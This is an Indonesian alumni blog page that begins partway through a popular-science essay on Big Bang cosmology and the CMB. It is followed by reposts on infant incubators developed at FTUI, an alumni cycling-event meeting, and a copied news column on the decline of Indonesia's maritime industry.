Sayangnya mereka tidak sempat mengusulkan eksperimen dengan menggunakan teleskop radio, meski pada tahun 1963 dua ilmuwan Rusia sempat menanyakan penemuan Ed Ohm yang melaporkan pengukuran derau statik pada tingkat 3 Kelvin. Ohm sendiri tidak mampu memisahkan derau tadi dengan derau yang berasal dari peralatannya. Lalu bagaimana hubungan antara derau statik gelombang mikro dengan temperatur alam semesta? Inilah kisah sukses fisika selain mekanika kuantum dan mekanika relativistik. Di dalam termodinamika, salah satu cabang fisika yang banyak membahas hubungan antara temperatur dan sifat suatu zat, dikenal hukum Wien yang menyatakan bahwa untuk distribusi radiasi benda hitam perkalian antara panjang gelombang radiasi berintensitas maksimum dengan temperaturnya ekivalen dengan bilangan 0,3. Pengukuran yang dilakukan oleh Penzias dan Wilson tidak persis tepat pada puncak distribusi, namun karena kegigihan dan keyakinan para ilmuwan, pengukuran-pengukuran yang dilakukan selama lebih dari dua dekade, hingga tahun 1991 dengan menggunakan satelit COBE, berhasil mengkonfirmasi distribusi radiasi benda hitam dari CMB dengan akurasi yang sangat mengesankan (lihat gambar 2). Dari distribusi tersebut diperoleh kesimpulan bahwa temperatur alam semesta saat ini, lebih dari 10 milyar tahun setelah Big Bang, adalah 2,726 Kelvin.

Gambar 1. Galaksi Andromeda yang merupakan tetangga terdekat galaksi kita, meskipun demikian jarak galaksi ini lebih dari dua juta tahun cahaya dari bumi. Jadi, gambar ini memperlihatkan keadaan galaksi Andromeda lebih dari dua juta tahun yang lalu, jauh sebelum peradaban manusia (yang dikenal) lahir. Galaksi ini pertamakali diamati oleh astronom muslim Persia Abdul Rahman Al-Sufi pada tahun 964 dan dipublikasikan dalam bukunya yang berjudul Kitab al-Kawatib al-Thabit al-Musawwar. Di kalangan kaum orientalis buku ini kemudian lebih dikenal dengan nama The Book of Fixed Stars. Diperkirakan, ada sekitar 10 milyar galaksi yang dapat diamati manusia dari permukaan bumi. Gambar diambil dari Astronomy Picture of the Day, http://antwrp.gsfc.nasa.gov/apod.

Gambar 2. Distribusi intensitas radiasi benda hitam dari radiasi CMB (Cosmic Microwave Background) yang berhasil dikonfirmasi secara akurat oleh pengamatan (eksperimen). Garis merah merupakan perhitungan teori untuk temperatur alam semesta rata-rata ekivalen dengan 2,726 Kelvin.

Data-data eksperimen diambil dari berbagai sumber. Gambar diambil dari Particle Data Book 2000. Kronologi Alam Semesta Distribusi radiasi CMB meyakinkan ilmuwan bahwa jauh di masa lampau telah terjadi kesetimbangan termal di alam semesta. Karena alam semesta terus berkembang hingga kini, masuk akal jika temperatur saat itu diperkirakan sangat tinggi. Para ilmuwan menggunakan hukum-hukum fisika untuk memperkirakan sifat-sifat alam semesta di awal terciptanya, bahkan ekstrapolasi dapat dilakukan hingga mendekati Big Bang. Meski demikian, karena temperatur saat ledakan (pada usia 0 detik) sangat tinggi, menuju nilai tak berhingga, hukum-hukum fisika tidak lagi valid di sini. Dalam matematika keadaan seperti ini dinamakan keadaan singular. Karena matematika tidak dapat sepenuhnya berurusan dengan bilangan tak berhingga, hukum-hukum fisika yang diformulasikan dalam matematika tidak lagi memiliki arti pada kondisi singularitas. Pada awal terciptanya, alam semesta memiliki ukuran tak berhingga kecil (menuju nol) namun kerapatan materinya sangat tinggi. Baru setelah 10-43 detik (satu per sepuluh juta triliun triliun triliun detik) dari ledakan situasi jagad raya dapat diakses dengan menggunakan teori-teori fisika mutakhir. Diperkirakan pada saat itu temperatur jagad raya mencapai 1032 K atau sepuluh triliun triliun kali lebih tinggi dari temperatur inti matahari. Periode yang dimulai pada usia 0 hingga 10-43 detik dikenal sebagai periode (masa) Planck yang hingga saat ini masih merupakan misteri bagi sains. Para ilmuwan mengimpikan sebuah teori yang dapat menggabungkan teori kuantum dengan teori gravitasi yang diharapkan dapat menguak apa yang terjadi pada masa Planck. Teori yang dinamakan teori gravitasi kuantum ini tentulah sangat sulit mengingat bahwa domain kuantum (daerah dimana efek kuantum dominan) berukuran mikroskopik maksimal sebesar atom atau molekul, sedangkan gaya gravitasi terlihat superior pada skala planet atau galaksi.

Meski demikian, usaha ke arah sana sudah banyak dilakukan, misalnya melalui gagasan teori Superstring yang mempostulasikan ruang dengan dimensi 10 atau 26 pada masa Planck. Dimensi-dimensi tersebut berkontraksi setelah masa Planck dan menyisakan hanya 3 dimensi ruang serta satu dimensi waktu saat ini. Setelah masa Planck alam semesta memasuki masa Penggabungan Agung (Grand Unification). Pada masa ini semua gaya fundamental kecuali gaya gravitasi sama kuatnya. Saat itu alam semesta masih belum berisi apa-apa kecuali sup plasma dengan temperatur lebih dari seratus ribu triliun triliun Kelvin. Periode ini tidak berlangsung lama dan alam semesta mengalami inflasi (pengembangan secara cepat) yang diakhiri dengan pemisahan gaya lemah dan gaya elektromagnetik. Setelah kedua macam gaya tersebut terbedakan, sup plasma panas berubah menjadi sup elektron-quark beserta partikel-partikel pembawa gaya elektrolemah yaitu partikel W dan Z. Partikel-partikel tersebut eksis di alam semesta bersama anti partikel mereka yang jika bergabung akan bertransformasi menjadi radiasi dan sebaliknya radiasi yang ada dapat segera berubah menjadi partikel dan anti-partikel. Seperseratus ribu detik setelah ledakan temperatur alam semesta turun menjadi 10 triliun Kelvin atau sekitar seribu kali lebih panas dari temperatur pusat matahari. Pada saat ini sup quark berkondensasi menjadi proton dan netron yang merupakan komponen dasar dari nukleus atau inti atom. Sekitar tiga menit kemudian temperatur terus menurun menjadi satu milyar Kelvin. Energi kinetik yang dihasilkan temperatur sebesar ini sudah tidak mampu lagi menahan gaya nuklir kuat antara proton dan netron yang selanjutnya bergabung menjadi nucleus-nukleus ringan. Proses ini dinamakan sebagai proses nukleosintesis. Proton dan netron bergabung menjadi nukleus deuterium. Deuterium kemudian menangkap sebuah netron membentuk inti tritium. Selanjutnya Tritium bergabung dengan sebuah proton menjadi inti Helium. Proses ini berlanjut terus hingga mencapai inti atom Lithium, namun dengan peluang yang semakin kecil. Dengan demikian teori Big Bang meramalkan kelimpahan Hidrogen dan Helium di dalam alam ini. Konfirmasi ramalan ini diperoleh melalui spektrum bintang-bintang serta galaksi yang dapat diamati dari bumi. Setelah 3 menit pertama berlalu tidak banyak perubahan yang terjadi kecuali temperatur terus menurun dan alam semesta semakin besar hingga usia jagad raya mencapai 300.000 tahun. Di usia ini alam semesta telah mendingin menjadi 3000 Kelvin, suatu kondisi temperatur yang masih mampu melelehkan kebanyakan logam yang kita kenal.

Walaupun temperatur ini masih sangat tinggi, energi kinetik yang dimiliki oleh elektron tidak mampu lagi menahan gaya tarik menarik Coulomb antara elektron dan nukleus. Elektron kemudian bergabung dengan nukleus membentuk atom sehingga seluruh sup plasma tadi akhirnya berubah menjadi atom-atom. Mulai saat ini radiasi tidak lagi bertransformasi menjadi partikel dan anti-partikel, sehingga dikatakan bahwa alam semesta mulai terlihat transparan oleh radiasi. Radiasi foton selanjutnya dapat bergerak bebas bersama mengembangnya alam semesta. Dengan demikian, radiasi CMB yang teramati oleh para ilmuwan adalah fosil radiasi yang berasal dari 300.000 tahun setelah terjadinya Big Bang. Gambar 3. Kronologi alam semesta dalam skala yang tidak linier. Suhu rata-rata alam semesta di bagian kanan gambar diperkirakan dengan menggunakan asumsi sederhana dari persamaan Einstein yang menghasilkan persamaan berbanding terbalik terhadap akar dari usia jagad raya. Dalam beberapa jam setelah Big Bang pembentukan Helium serta elemen-elemen ringan lainnya berhenti. Alam semesta terus berkembang dan mendingin, namun dibeberapa lokasi yang memiliki kerapatan jauh lebih besar dibandingkan di tempat lain proses pengembangan tersebut agak lambat akibat gaya tarik menarik gravitasi yang relatif lebih besar.

Bahkan di tempat-tempat tertentu di alam semesta proses pengembangan berhenti sama sekali dan elemen-elemen yang ada di tempat itu mulai merapat. Karena gaya gravitasi semakin bertambah, gas-gas Hidrogen dan Helium mulai berrotasi untuk mengimbangi tarikan gravitasi. Proses ini selanjutnya melahirkan galaksi-galaksi yang berputar dan memiliki berbagai macam bentuk seperti cakram dan elips, bergantung pada kecepatan rotasi serta gaya gravitasinya. Selanjutnya gas-gas Hidrogen dan Helium dalam galaksi akan pecah menjadi awan-awan yang lebih kecil dan juga mengalami proses kontraksi karena masing-masing memiliki gaya gravitasi sendiri. Karena atom-atom di dalam awan-awan tersebut saling bertumbukan, tarikan gravitasi mengakibatkan tekanan bertambah dan temperatur terus meningkat yang pada akhirnya sanggup untuk menyulut reaksi nuklir fusi. Reaksi ini akan mengubah Hidrogen menjadi Helium dan berlangsung relatif lama karena persediaan Hidrogen yang berlimpah dan terjadi keseimbangan antara gaya gravitasi dengan gaya ledakan nuklir. Helium kemudian diubah menjadi elemen-elemen yang lebih berat melalui proses fusi hingga menjadi Karbon dan Oksigen. Tahapan selanjutnya menghasilkan bintang-bintang di dalam galaksi yang sebagian meledak sambil melemparkan bahan bakar untuk membentuk bintang-bintang generasi baru.

Matahari kita adalah salah satu contoh dari bintang jenis generasi baru ini. Sebagian kecil pecahan ledakan yang mengandung element-elemen lebih berat tidak lagi sanggup untuk menyalakan reaksi fusi nuklir karena elemen-elemennya relatif sudah stabil dan temperaturnya tidak cukup tinggi. Bagian ini akhirnya membentuk planet-planet yang mengorbit bintang seperti bumi kita yang mengorbit matahari. Pada saat bumi terbentuk, sekitar 5 milyar tahun yang lalu, temperaturnya sangat tinggi dan tidak memiliki atmosfir. Setelah agak lama barulah temperatur bumi menurun dan atmosfir mulai terbentuk karena adanya emisi gas dari batu-batuan di atas permukaan bumi. Namun, atmosfir pertama ini bukanlah atmosfir yang dapat mendukung kehidupan seperti saat ini, karena atmosfir bumi mula-mula terdiri dari gas-gas beracun seperti Hidrogen Sulfida. Untungnya beberapa makhluk primitif yang ada saat itu membutuhkan gas-gas tersebut untuk bernafas dan menghasilkan Oksigen sebagai gas buangan ke permukaan bumi, sehingga permukaan bumi akhirnya dipenuhi oleh gas Oksigen. Karena gas Oksigen sendiri merupakan racun bagi makhluk primitif ini, sebagian besar dari mereka akhirnya punah secara alami, sedangkan sebagian lagi dapat menyesuaikan diri dengan mengkonsumsi Oksigen sebagai kebutuhan hidupnya.

Masalah yang Dihadapi Teori Big Bang Teori Big Bang standar (Standard Big Bang atau SBB) berhasil membangun hubungan antara jarak bintang dengan besar pergesaran merah yang teramati, serta dapat menjelaskan berlimpahnya elemen-elemen ringan seperti Helium, Deuterium, dan Lithium. Untuk menjelaskan fenomena-fenomena tersebut SBB hanya memerlukan satu konstanta sebagai input yaitu rasio antara kerapatan baryon dengan kerapatan foton di alam semesta saat ini. Namun yang paling penting sekali adalah SBB berhasil meramalkan keberadaan distribusi radiasi benda hitam dari CMB yang berhasil dikonfirmasi dengan akurasi yang sangat tinggi. Di balik semua kesuksesan itu teori SBB ternyata memiliki cacat. Teori SBB tidak dapat menjelaskan mengapa radiasi CMB sangat isotropik. SBB juga menghadapi masalah yang dikenal sebagai problem horizon, yaitu jarak maksimal yang dapat ditempuh cahaya setelah ledakan jauh lebih kecil dibandingkan dengan jarak gelombang mikro dari foton yang teramati pada temperatur yang sama (dengan kata lain, ukuran alam semesta pada saat itu yang terlihat dari masa sekarang jauh lebih besar dari ukuran yang dapat ditempuh cahaya setelah terjadinya Big Bang). Disamping itu, bagi teori SBB fenomena alam semesta yang cenderung flat (fenomena yang memperlihatkan kecenderungan alam semesta untuk terus berkembang) juga masih merupakan misteri. Problem lain adalah SBB secara internal tidak konsisten karena SBB bersandar pada asumsi bahwa materi merupakan zat alir ideal atau fluida klasik, padahal semua ilmuwan tahu bahwa pada temperatur sangat tinggi penjelasan materi sebagai gas ideal klasik tidak lagi valid. Karena Teori Medan Quantum (Quantum Field Theory atau QFT) merupakan satu-satunya teori yang berlaku pada energi (temperatur) sangat tinggi, maka solusi problem terakhir adalah melalui modifikasi SBB dengan QFT. Masuknya QFT pada kosmologi Big Bang ternyata memberi jalan pada penemuan skenario inflasi alam semesta yang mempostulatkan bahwa pada suatu masa alam semesta mengalami pengembangan secara eksponensial. Pada masa ini energi materi disimpan dalam bentuk lain dan dilepas sebagai energi termal di akhir proses inflasi. Skenario inflasi tentu saja dapat menyelesaikan problem horizon karena ukuran alam semesta setelah inflasi konsisten dengan kerucut cahaya masa lampau (ukuran alam semesta di masa lampau dilihat dari masa sekarang).

Selain itu skenario inflasi juga dapat menyelesaikan masalah flatness karena pada masa inflasi entropi semesta bertambah dengan faktor yang sangat besar yang pada akhirnya mendorong alam semesta untuk mengambil bentuk flat. Pembuktian secara akurat diperoleh dengan menggunakan persamaan Friedmann-Robertson-Walker, yang merupakan kasus khusus dari persamaan Einstein dalam teori relativitas umum. Masalah Pada Saat Penciptaan Mungkin, masalah yang paling fundamental dalam teori Big Bang adalah masalah penciptaan atau pada saat alam semesta berusia 0 detik. Seperti sudah dijelaskan di atas, pada saat itu teori Big Bang meramalkan kondisi singularitas yang tidak dapat diakses dengan teori fisika semutakhir apa pun. Namun, kalau pun kita mengabaikan kondisi ini, teori penciptaan alam semesta tampaknya tidak dapat diterima oleh fisika karena menyalahi aturan fisika yang paling fundamental, kekekalan energi. Hukum kekekalan energi merupakan dasar fisika dan belum pernah ada bukti-bukti eksperimen eksplisit bahwa hukum kekekalan energi ini dilanggar. Jika pada saat sebelum alam semesta tercipta tidak terdapat apa-apa sedangkan saat ini kita dapat mengamati alam semesta yang maha luas, maka hukum kekekalan energi telah dilanggar sebesar massa semesta dikalikan dengan kuadrat kecepatan cahaya, E = mc2 , sesuai dengan teori Einstein.

Di manakah letak solusinya? Sebagian ilmuwan berpendapat bahwa energi total alam semesta tetap nol. Energi yang berasal dari massa alam semesta adalah energi positif, sedangkan energi yang mengikat alam semesta akibat gaya tarik menarik gravitasi yang dialami oleh setiap partikel merupakan energi negatif. Kedua jenis energi tersebut saling menghilangkan, sehingga energi total semesta tetap nol sesuai dengan kondisi sebelum alam semesta diciptakan. Pendapat ini juga mendukung adanya materi yang tidak terdeteksi yang tersebar di alam semesta yang disebut materi gelap (dark matter). Untuk menjawab masalah penciptaan materi dari keadaan ‘tidak ada’ menjadi ‘ada’ ilmuwan berpaling pada teori kuantum. Di dalam teori kuantum keadaan ‘tidak ada’ ini dikenal dengan istilah vacuum, suatu keadaan yang ternyata tidak kosong sama sekali namun terdiri dari dinamika penciptaan dan pemusnahan partikel serta anti-partikel dalam waktu yang sangat singkat. Mengapa partikel dan anti-partikel dapat diciptakan dari sesuatu yang tidak ada dan keduanya dapat dimusnahkan tanpa ada bukti sisa radiasi anihilasi? Jawabannya adalah melalui ketidakpastian Heisenberg yang menyatakan bahwa ketidakpastian pengukuran energi berbanding terbalik terhadap ketidakpastian waktu pengukuran dengan konstanta Planck sebagai konstanta pembanding.

Ketidakpastian Heisenberg secara implisit memperbolehkan pelanggaran energi dalam suatu sistem asalkan waktu pelanggaran sangat singkat, semakin besar pelanggaran energi semakin singkat waktu yang diperbolehkan. Dengan demikian keadaan vacuum terdiri dari lautan partikel dan anti-partikel yang eksis dan musnah dalam waktu sangat singkat. Fluktuasi vacuum ini juga mengakibatkan black hole (lubang hitam) bersifat tidak ‘benar-benar hitam’ karena ia dapat menarik partikel sambil meradiasikan anti-partikel dari dalam vacuum. Setelah terjadinya Big Bang jumlah partikel dan anti-partikel sama banyaknya. Keduanya dapat bergabung menjadi radiasi dan sebaliknya radiasi dapat menghasilkan pasangan partikel dan anti-partikel. Mengapa saat ini yang teramati di alam semesta hanyalah materi, atau dengan kata lain ke mana perginya anti-materi? Eksperimen dan teori fisika telah berhasil membuktikan bahwa alam semesta beserta isinya memperlihatkan sifat simetri dengan cacat yang sangat kecil. Pada saat terjadi kesetimbangan termal antara pasangan partikel dan anti-partikel dengan radiasi, tidak semua proton beranihilasi dengan anti-proton dan sebaliknya tidak semua radiasi menghasilkan pasangan partikel dan anti-partikel.

Cacat simetri yang sangat kecil ini akhirnya meninggalkan lebih banyak materi dibandingkan dengan anti-materi, sehingga alam semesta yang terlihat sekarang disusun sepenuhnya oleh materi. Beberapa jenis anti-partikel yang teramati di ruang angkasa diperkirakan berasal dari reaksi nuklir yang berasal dari bintang-bintang tertentu. Nasib Alam Semesta di Masa Mendatang Jauh sebelum CMB terdeteksi oleh Penzias dan Wilson, seorang ilmuwan Rusia bernama Alexander Friedmann mencatat kekeliruan Einstein pada persamaan relativitas umumnya. Sementara Einstein dan para fisikawan lain sibuk memodifikasi persamaan gravitasi untuk membuat alam semesta bersifat statik, Friedmann mengajukan dua asumsi sederhana tentang alam semesta. Pertama: alam semesta terlihat sama ke arah mana pun kita memandang. Kedua: hal tersebut benar dari mana pun kita memandang alam semesta. Untuk skala manusia tentu saja asumsi ini terlihat terlalu ceroboh, namun untuk skala milyaran galaksi simulasi-simulasi komputer saat ini memperlihatkan kebenarannya. Dari kedua asumsi tersebut Friedmann memperlihatkan bahwa alam semesta haruslah berkembang. Bahkan pada tahun 1922 ia dapat meramalkan secara akurat apa yang akhirnya ditemukan oleh Hubble pada tahun 1928. Dalam pemikiran Friedmann ada tiga kemungkinan (model) yang akan terjadi pada alam semesta di masa mendatang. Kemungkinan pertama adalah alam semesta bersifat tertutup (closed universe). Kemungkinan ini terjadi jika gaya gravitasi yang dihimpun oleh semua galaksi relatif sangat kuat, sehingga mampu untuk menekuk ruang (space) menjadi bentuk seperti permukaan sebuah bola jika kita bayangkan alam semesta hanya terdiri dari dua dimensi. Untuk model ini alam semesta akan berhenti berkembang pada suatu masa dan gaya gravitasi akan kembali menyatukan semua galaksi menuju ke satu titik. Apa yang terjadi kemudian adalah kehancuran semesta yang dikenal dengan istilah Big Crunch atau kebalikan dari Big Bang.

Kemungkinan kedua adalah gaya gravitasi terlalu lemah untuk mengatasi proses pengembangan alam semesta sehingga alam semesta akan terus menerus berkembang dengan cepat dan selamanya. Kemungkinan yang terakhir akan terjadi jika proses pengembangan alam semesta tidak terlalu cepat namun hanya cukup untuk mengeliminasi gaya gravitasi, sehingga alam semesta berkembang menuju ukuran tertentu dan kecepatan pengembangannya berkurang sedikit demi sedikit menuju nol. Pada kasus ini alam semesta dikatakan bersifat flat. Dari ketida model tersebut mana yang paling mungkin menurut para ilmuwan? Karena peluang untuk setiap model sangat bergantung pada laju berkembangnya semesta serta besar gaya gravitasi yang dimilikinya, maka informasi tentang kerapatan rata-rata alam semesta sangat menentukan. Jika kerapatan rata-rata ini lebih kecil dari suatu nilai kritis maka alam semesta akan terus berkembang untuk selamanya. Namun jika sebaliknya maka kehancuran alam semesta akan terjadi melalui proses Big Crunch. Hingga saat ini hasil pengukuran dan perhitungan kebanyakan mengarah pada nilai kritis yang berarti bahwa alam semesta cenderung untuk bersifat flat. Meski demikian, banyak ketidakpastian yang harus diperhitungkan para ilmuwan. Salah satu dari yang paling membingungkan para ilmuwan adalah pada pengukuran konstanta Hubble, suatu konstanta yang menghubungkan antara jarak bumi-bintang dengan pergeseran merah (red shift) bintang tersebut. Konstanta Hubble yang banyak diyakini oleh para astronom saat ini menghasilkan usia alam semesta pada kerapatan kritis sekitar 10 milyar tahun. Kontrasnya, pengukuran memperlihatkan bahwa usia bintang tertua dalam galaksi kita paling tidak telah 14 milyar tahun. Wajar saja jika perdebatan yang sangat sengit masih mewarnai masalah ini. Bagi kita sendiri, sebagai manusia yang hidup di masa kini, model mana yang mungkin terjadi tidak akan menjadi masalah.

Meski alam semesta keesokan hari mulai mengkerut menuju kehancuran, waktu yang dibutuhkan tentulah paling tidak 10 milyar tahun lagi. Pada saat itu tentu saja seluruh manusia dan peradabannya di permukaan bumi telah lama punah karena matahari sudah kehabisan bahan bakar. Kecuali, seperti kata Stephen Hawking dalam bukunya A Brief History of Time, jika manusia sudah mengkoloni tatasurya atau galaksi-galaksi lain yang masih memungkinkan berjalannya kehidupan. Jika kasus terakhir ini terjadi maka manusia-manusia di akhir zaman akan dapat “menikmati” perubahan warna langit menjadi merah lalu membara dan terang benderang karena peningkatan temperatur menuju ke tak hingga. Apa yang akan terjadi setelah Big Crunch tidak ada yang tahu, karena apa yang terjadi setelah keadaan singularitas tidak dapat diprediksi dengan menggunakan pengetahuan manusia saat ini. Namun jika alam semesta ini terus berkembang, maka ia akan menuju ke temperatur nol absolut. Alam semesta akan terus menerus mendingin dan mati karena tidak ada lagi proses transfer energi yang merupakan prinsip dasar dari kehidupan.

(Dr. Terry Mart, staf pengajar dan peneliti pada Jurusan Fisika FMIPA UI)

Inkubator Bayi Buatan FTUI

Inkubator bagi Bayi Prematur, Amankah?

TAK SATU pun orangtua yang menginginkan bayinya lahir prematur -lahir pada usia kehamilan kurang dari 37 minggu. Namun bila harus demikian, apa boleh buat! Tentu harus menerima kenyataan dengan berbesar hati.
Bayi prematur memang cenderung lebih mudah terserang infeksi dibandingkan bayi cukup bulan karena fungsi organ belum sempurna. Sering kali bayi prematur tetap harus tinggal di rumah sakit walaupun si ibu sudah diperbolehkan pulang. Selama dirawat, bayi mungil tersebut diletakkan ke dalam kotak kaca bernama inkubator. Selama ia berbaring di sana, dokter, suster maupun orangtua harus ekstra sabar dan cermat menangani perkembangan kesehatannya.
Inkubator AmanInformasi mengenai efek samping inkubator yang dapat menyebabkan dampak buruk terhadap kesehatan bayi sempat mencuat pemberitaannya beberapa waktu lalu. Tak ayal hal ini membuat resah beberapa orangtua yang bayinya sedang dirawat di inkubator.

Padahal, inkubator bagi bayi prematur aman sepanjang dilakukan sesuai dengan standar prosedur penggunaan. Perlu diketahui, setiap bayi prematur yang lahir memiliki kondisi yang berbeda-beda. Ada yang termasuk dalam kondisi “aman” atau menderita penyakit ringan, ada pula bayi prematur yang menderita penyakit berat. Semua ini tergantung dari daya tahan tubuh masing-masing bayi prematur.Kondisi seperti ini lah yang membuat bayi-bayi tersebut “berjuang” demi mendapatkan perkembangan yang lebih baik. Nah, inkubator berfungsi untuk menjaga agar bayi tetap mendapatkan suhu yang stabil. Kondisi suhu yang sesuai membuat bayi merasa nyaman dan aman.

Tergantung Kondisi Bayi

Lamanya bayi berada di dalam inkubator tergantung kepada kondisi masing-masing bayi. Suhu yang digunakan pun disesuaikan dengan kebutuhan akan kondisi bayi.
Inkubator hasil riset di lab Perpindahan Kalor FTUI
Setiap bayi baru lahir dilihat dahulu kondisinya lalu dicocokkan dengan tabel yang sudah disediakan, di sana sudah tertera mengenai suhu yang akan dipasang. Ini berlaku pada semua inkubator.

Sepanjang dilakukan sesuai dengan standar prosedur penggunaan maka tata laksana inkubator akan berjalan baik. Sayangnya, kebanyakan inkubator yang digunakan di Indonesia teknologinya masih kurang bila dibandingkan dengan inkubator buatan luar negeri seperti Eropa. Harga yang terlalu mahal menjadi alasan utama mengapa kebanyakan rumah sakit menggunakan produksi dalam negeri dan China. Walau begitu, inkubator tersebut tetap bisa digunakan secara optimal.

Di Indonesia tidak banyak produsen inkubator branded. Salah satu diantaranya adalah inkubator yang dikembangkan dari riset di Lab Perpindahan Kalor FTUI, dimana sekarang produknya telah banyak bisa ditemukan di Rumah Sakit di Indonesia. Salah satu tipe yang harganya terjangkau tapi tetap memenuhi syarat kesehatan dan SNI dapat dilihat pada video dan foto dibawah ini.
Bila ada diantara anda yang tertarik terhadap produk ini, silakan kontak
AMEDIC  DJAJA  BERSAMA
Ramadita Budhi (M97)
Email ramaditabudhi@yahoo.com, HP ‍+628161924335

(Mom& Kiddie//tty, teks diambil dari lifestyle-okezone)


Rapat Gowes jelang 27Maret11

Rapat gowes jelang acara 27 Maret 2011 diselenggarakan kemarin tanggal 15 Maret2011 dipimpin oleh mas tris. Riuh rendah uda dan uni alumni  masing-masing bicara dengan semangat karena banyak adik2 mahasiswa dan mahasiswi yang ganteng dan cantik pada hadir. Mereka inilah yang nanti akan membantu perhelatan alumni tanggal 27 nanti.

Jalur Gowes A (panjang) sudah dibahas. Ini yang 2 jam jadi harus dtg pagi karena mulainya jam 7. Jalur jalan santai yg start jam 7.30. Kemudian jalur Gowes B (pendek), berangkat jam 8, dengan track counterflow thd yg lain. Mengapa demikian ? Sederhana saja, karena baik naik sepeda maupun jalan akan diselingi dengan fotow memotow jadi bakalan stuck kalau semua jadi satu.

Oceh mengocehnya uda dan uni alumni pada rapat kemarin bisa dilihat pada video berikut, sekaligus dengan adik2 mhs terutama mhsi yang cantik ya… Diantaranya yang hadir Daryanto Darmadi, Raldi Artono, Riarno H, Fanina A, Tris Budiono, Ida Iqbal, Djarot Soedarsono, Ardhin Ichwan.

Rundown acara final nanti akan dipublish oleh mas tris. Sejauh ini masih akan ada beberapa perubahan.-

Hancurnya Industri Maritim Kita

-0- Salinan dari detiknews-0-
Selasa, 15 Maret 2011

Penyebab Hancurnya Industri Maritim Indonesia
Agus Pambagio – detikNews

Jakarta – Indonesia sebagai salah satu negara maritim besar seharusnya mempunyai infrastruktur ke maritiman yang kuat, seperti, pelabuhan yang lengkap terkait dengan keperuntukannya, sumber daya manusia yang berkelas, berbagai jenis kapal yang berkelas di berbagai sektor termasuk armada TNI Angkatan Laut, armada kapal dagang/kontainer, armada kapal angkut migas dan batubara, armada kapal penangkap ikan, armada kapal penumpang yang modern, aman dan nyaman serta regulator sektor kemaritiman yang kuat dan disegani dunia internasional.

Namun apa mau dikata, tampaknya pernyataan diatas masih sebatas mimpi, belum kenyataan. Melihat perkembangan industri maritim di Indonesia saat ini, saya sedih dan gemas. Bagaimana tidak? Sejak kemerdekaan 17 Agustus 1945 sampai hari ini industri martim kita dikelola secara kaki lima. Akibatnya tidak ada satupun Negaradi dunia ini yang segan dan menghormati Indonesia sebagai salah satu Negara maritimyang kuat.

Mereka hanya menempatkan Indonesia sebagai Negara tempat memasarkan produk kemaritiman mereka dan mengambil sumber daya yang ada. Mau bukti? Mari kita bahas satu persatu yang menurut saya ini merupakan faktor utama hancurnya industri maritim nasional. Sementara pemerintah tak mampu membereskannya, seperti biasa tidakada ketegasan!

Faktor Hambatan di Industri Maritim Nasional

Pertama, mari kita lihat sistem finansial untuk sektor maritim di Indonesia. Kebijakan sektor perbankan atau lembaga keuangan di Indonesia, yang sebagian besar keuntungannya diperoleh dari penempatan dana mereka di Sertifikat Bank Indonesia (SBI), untuk pembiayaan industri maritim sangat tidak mendukung. Mengapa?

Pertama, bunga pinjaman sangat tinggi. Berkisar antara 11% – 12% per tahun dengan 100% kolateral (senilai pinjaman). Bandingkan dengan sistem perbankan Singapura yang hanya mengenakan bunga 2% + LIBOR 2% (total sekitar 4%) per tahun. Dengan equity hanya 25% sudah bisa mendapatkan pinjaman tanpa kolateral terpisah karena kapal itu sendiri bisa menjadi jaminannya. Jadi tidak heran kalau pengusaha kapal nasional kesulitan mencari pembiayaan untuk membeli kapal, baik baru maupun bekas melalui sistem perbankan Indonesia.

Kedua,sesuai dengan Kepmenkeu No 370/KMK.03/2003 tetang Pelaksanaan Pajak Pertambahan Nilai yang Dibebaskan Atas Impor dan/atau Penyerahan Barang Kena Pajak Tertentu dan/atau Penyerahan Jasa Kena Pajak Tertentu, pasal 1, ayat 1 huruf e, jelas bahwa sektor perkapalan mendapat pembebasan pajak. Namun semua pembebasan pajak itu kembali harus dibayar jika melanggar pasal 16. Artinya kebijakan tersebut banci. Apa isi pasal 16?

Sesuai dengan pasal 16: Pajak Pertambahan Nilai yang terutang pada impor atau pada saat perolehan Barang Kena Pajak Tertentu disetor kas negara apabila dalam jangka waktu 5 (lima) tahun sejak impor dan atau perolehan Barang Kena Pajak Tertentu sebagaimana dimaksud dalam pasal 1 angka 1 huruf e, huruf f, huruf g dan huruf h ternyata digunakan tidak sesuai dengan tujuan semula atau di pindahtangankan

kepada pihak lain baik sebagian atau seluruhnya?. Artinya, jika pengusaha kapal akan menjual kapalnya sebelum 5 tahun sejak pembelian harus membayar pajak kepada negara sebesar 22,5% dari harga penjualan (PPn 10%, PPh impor 7,5% dan bea masuk 5%).

Di Indonesia jarang ada kontrak penggunaan kapal lebih dari 5 tahun, paling banyak 2 tahun. Jadi jika tidak ada kontrak, supaya pengusaha kapal tidak menanggung rugi berkepanjangan mereka harus menjual kapalnya. Untuk itu pengusaha harus membayar pajak terhutang kepada Negara sesuai Pasal 16 tersebut. Benar-benar industri maritim negara ini dihambat kemajuannya dari segi kebijakan fiskalnya oleh negara, kok bisa ya?

Di negara lain seperti Singapura, pemerintah akan memberikan insentif, seperti pembebasan bea masuk pembelian kapal, pembebasan pajak bagi perusahaan pelayaran yang bertransaksi diatas USD 20 juta karena Pemerintah Singapura menyadari kalau investasi di industri pelayaran bersifat slow yielding sehingga perlu diberikan insentif. Kalaupun kapal harus dijual, Pemerintah Singapura membebaskan berbagai pajaknya.

Dari pemberian berbagai insentif bagi perusahaan pelayaran, Pemerintah mana pun akan berpikiran bahwa penerimaan dari pajak mungkin akan menurun namun penerimaan dari sektor lain pasti akan bertambah. Misalnya, semakin banyak tenaga kerja asing tinggal dan bekerja pada akhirnya akan semakin banyak uang yang dibelanjakan di negara tersebut. Selain itu transaksi perbankan biasanya juga akan semakin banyak, sehingga pendapatan Negara juga akan meningkat. Benar-benar negara negara dikelola oleh negarawan yang cerdas.

Ketiga, buruknya kualitas sumber daya maritim Indonesia menyebabkan biaya langsung industri maritim menjadi tinggi. Meski pun gaji tenaga Indonesia 1/3 gaji tenaga kerja asing tetapi karena rendahnya disiplin dan tanggungjawab, menyebabkan biaya yang harus ditanggung pemilik kapal berbendera dan berawak 100% orang Indonesia (sesuai dengan UU No 17 tahun 2008 tentang Pelayaran) menjadi sangat tinggi. Ironisnya jika kapal berawak 100% asing yang mahal, ternyata pendapatan perusahaan pelayaran bisa meningkat 2x lipat. Aneh tapi nyata.

